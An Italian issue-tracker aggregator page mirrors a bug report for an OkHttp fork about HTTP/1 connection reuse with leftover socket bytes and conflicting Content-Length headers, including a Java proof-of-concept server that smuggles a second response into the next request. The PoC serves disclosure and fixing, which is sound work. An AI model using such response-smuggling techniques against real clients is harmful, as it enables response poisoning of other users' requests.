Pooled HTTP/1 connection reused with a response left on the socket
I maintainer di solito rispondono entro 1 giorno
Nessuno ha ancora preso questa issue.
Valutazione
- Difficoltà
- 4/5
- Tempo stimato
- 3-5 giorni
- Idoneità per principianti
- 48/100
- Tipo di issue
- Bug
- Chiarezza
- Specificata chiaramente
- Stato di attività
- Attiva
- Stack tecnologico
- kotlin
- Ambito
- networking
Direzione di ricerca
Start with Http1ExchangeCodec.kt around FixedLengthSource.read and RealConnection.kt around isHealthy; the issue also points to -UtilJvm.kt for headersContentLength(). Read the HTTP/1 response-body and connection-pooling tests, then run the relevant tests. Done means trailing bytes cannot become the next response and conflicting Content-Length values are rejected.
Scritto dal modello di indicizzazione a partire dal testo della issue.
Descrizione
OkHttp returns an HTTP/1 connection to the pool as soon as the declared Content-Length has been consumed, without checking if there are still any remaining unread bytes on the socket. Those bytes can contain a complete second response, which is then returned as the response to the next request using that connection.
FixedLengthSource.read calls responseBodyComplete() as soon as bytesRemaining reaches zero:
https://github.com/lysine-dev/okhttp/blob/b830f03c8f161883e0213c22c170c3d1f5f5eaa6/okhttp/src/commonJvmAndroid/kotlin/okhttp3/internal/http1/Http1ExchangeCodec.kt#L450-L456
There doesn't seem to be any check for data left on the socket before the connection is pooled.RealConnection.isHealthy does have some check, but it only runs after the connection has been idle for some time:
https://github.com/lysine-dev/okhttp/blob/b830f03c8f161883e0213c22c170c3d1f5f5eaa6/okhttp/src/commonJvmAndroid/kotlin/okhttp3/internal/connection/RealConnection.kt#L321-L323
So back to back requests skip it the check.
OkHttp also accepts conflicting Content-Length headers, as headersContentLength() takes headers["Content-Length"] and parses it:
https://github.com/lysine-dev/okhttp/blob/b830f03c8f161883e0213c22c170c3d1f5f5eaa6/okhttp/src/commonJvmAndroid/kotlin/okhttp3/internal/-UtilJvm.kt#L243-L246
Since Headers.get returns the last value when there's multiple, two different lengths are resolved instead of rejected, depsite RFC 9112#6.3 saying it should be treated as an error (https://www.rfc-editor.org/rfc/rfc9112.html#section-6.3)
Demonstrating this in practise, we set up a server which server accepts one connection and sends both responses at once. Due to the bug, it never sends a response to the second request:
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.InetAddress;
import java.net.ServerSocket;
import java.net.Socket;
import java.nio.charset.StandardCharsets;
import java.util.concurrent.atomic.AtomicInteger;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
public class Poc38 {
static final AtomicInteger connections = new AtomicInteger();
public static void main(String[] args) throws Exception {
boolean duplicate = args.length == 0 || args[0].equals("duplicate");
String responseHeaders = duplicate
? "HTTP/1.1 200 OK\r\nContent-Length: 0\r\nContent-Length: 5\r\n\r\n"
: "HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\n";
String wire = responseHeaders
+ "first"
+ "HTTP/1.1 200 OK\r\nContent-Length: 17\r\n\r\nSMUGGLED RESPONSE";
ServerSocket server = new ServerSocket(0, 50, InetAddress.getByName("127.0.0.1"));
new Thread(() -> {
try {
Socket s = server.accept();
connections.incrementAndGet();
drainRequest(s.getInputStream());
s.getOutputStream().write(wire.getBytes(StandardCharsets.US_ASCII));
s.getOutputStream().flush();
Thread.sleep(60_000);
} catch (Exception ignored) {
}
}).start();
String base = "http://127.0.0.1:" + server.getLocalPort();
OkHttpClient client = new OkHttpClient();
System.out.println("mode: " + (duplicate
? "two Content-Length headers (0 and 5)"
: "one Content-Length (5) plus trailing bytes"));
try (Response r = client.newCall(new Request.Builder().url(base + "/one").build()).execute()) {
System.out.println("GET /one -> " + r.code() + " body=" + r.body().string());
}
try (Response r = client.newCall(new Request.Builder().url(base + "/two").build()).execute()) {
System.out.println("GET /two -> " + r.code() + " body=" + r.body().string());
}
System.out.println("TCP connections accepted by server: " + connections.get());
System.exit(0);
}
static void drainRequest(InputStream in) throws IOException {
BufferedReader r = new BufferedReader(new InputStreamReader(in, StandardCharsets.US_ASCII));
String line;
while ((line = r.readLine()) != null && !line.isEmpty()) {
}
}
}
This results in:
mode: two Content-Length headers (0 and 5)
GET /one -> 200 body=first
GET /two -> 200 body=SMUGGLED RESPONSE
TCP connections accepted by server: 1
mode: one Content-Length (5) plus trailing bytes
GET /one -> 200 body=first
GET /two -> 200 body=SMUGGLED RESPONSE
TCP connections accepted by server: 1
The second mode, which has just one normal Content-Length, shows that any bytes after the declared body length can poison the contention in the same way: since the GET /two is answered using the bytes the server sent for get /ONE, and the connection count shows that both requests used the same socket.
This relies on a shared OkHttpClient, which based on a quick google and stackoverflow threads, it seems to be a completely reasonable thing to do (e.g. https://stackoverflow.com/questions/48532860/is-it-thread-safe-to-make-calls-to-okhttpclient-in-parallel).
- Lingua principale
- Kotlin
- Stelle
- 47.1k
- Fork
- 9.3k
- Merge medio
- 18h 18m
- PR unite (30g)
- 15
Preparare l'ambiente
Questo progetto non fornisce container di sviluppo, Dockerfile né guida per i contributori, quindi l'ambiente è a tuo carico: parti dal suo README e consulta la nostra guida al primo contributo per i passaggi generali.
Come iniziare
- Leggi tutta la issue e poi la guida ai contributi del progetto.
- Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
- Fai un fork del repository e lavora su un branch.
- Apri una pull request che faccia riferimento al numero della issue.
Altre issue di lysine-dev/okhttp
-
Difficoltà 1/5 Meno di un'ora Idoneità per principianti 85/100
lysine-dev/okhttp#9788 ·
I maintainer di solito rispondono entro 1 giorno
-
enhancement
Difficoltà 2/5 1-3 ore Idoneità per principianti 68/100
lysine-dev/okhttp#9761 · 3 commenti ·
I maintainer di solito rispondono entro 1 giorno
-
Remove crossinline `addInterceptor` and `addNetworkInterceptor` overloadsForse di nuovo libera @Amir-Golmoradi l’ha presa 7 giorni fa e non c’è nessuna pull request aperta. Apertaenhancement
Difficoltà 3/5 1-2 giorni Idoneità per principianti 58/100
lysine-dev/okhttp#9779 · 1 commento ·
I maintainer di solito rispondono entro 1 giorno
-
HTTP/2 Data padding is not counted toward the connection flow-control window. This deadlocks connections with peers that pad.Forse di nuovo libera @Amir-Golmoradi l’ha presa 7 giorni fa e non c’è nessuna pull request aperta. Apertabug
Difficoltà 3/5 1-2 giorni Idoneità per principianti 67/100
lysine-dev/okhttp#9772 · 6 commenti ·
I maintainer di solito rispondono entro 1 giorno
-
bug
Difficoltà 2/5 1-3 ore Idoneità per principianti 55/100
lysine-dev/okhttp#9760 · 3 commenti ·
I maintainer di solito rispondono entro 1 giorno
Tutte le issue di lysine-dev/okhttp
Issue simili
-
Dev
Difficoltà 2/5 1-3 ore Idoneità per principianti 62/100
ankidroid/Anki-Android#22555 ·
I maintainer di solito rispondono entro 1 giorno
-
Good first issue: add kotlin-spring-boot stack budget preset (Kotlin + Spring Boot 3 + Gradle)Apertaenhancement good first issue help wanted
Difficoltà 2/5 1-3 ore Idoneità per principianti 78/100
-
core: RAC_LLM_OPTIONS_DEFAULT.min_p disagrees with the IDL's annotated defaultForse già presa Una pull request collegata a questa issue è aperta o già unita. Apertabug core p3
Difficoltà 2/5 1-3 ore Idoneità per principianti 70/100
RunanywhereAI/runanywhere-sdks#1083 ·
I maintainer di solito rispondono entro 5 giorni
-
enhancement
Difficoltà 2/5 1-3 ore Idoneità per principianti 75/100
I maintainer di solito rispondono entro 1 giorno
-
Java and Kotlin (JVM): parse gradle/wrapper/gradle-wrapper.properties with exact line locationsApertaarea: detector eco: java help wanted lane: free-agent roadmap size: S type: parser
Difficoltà 2/5 1-3 ore Idoneità per principianti 62/100
arminazimi/evergreen#355 ·
I maintainer di solito rispondono entro 1 giorno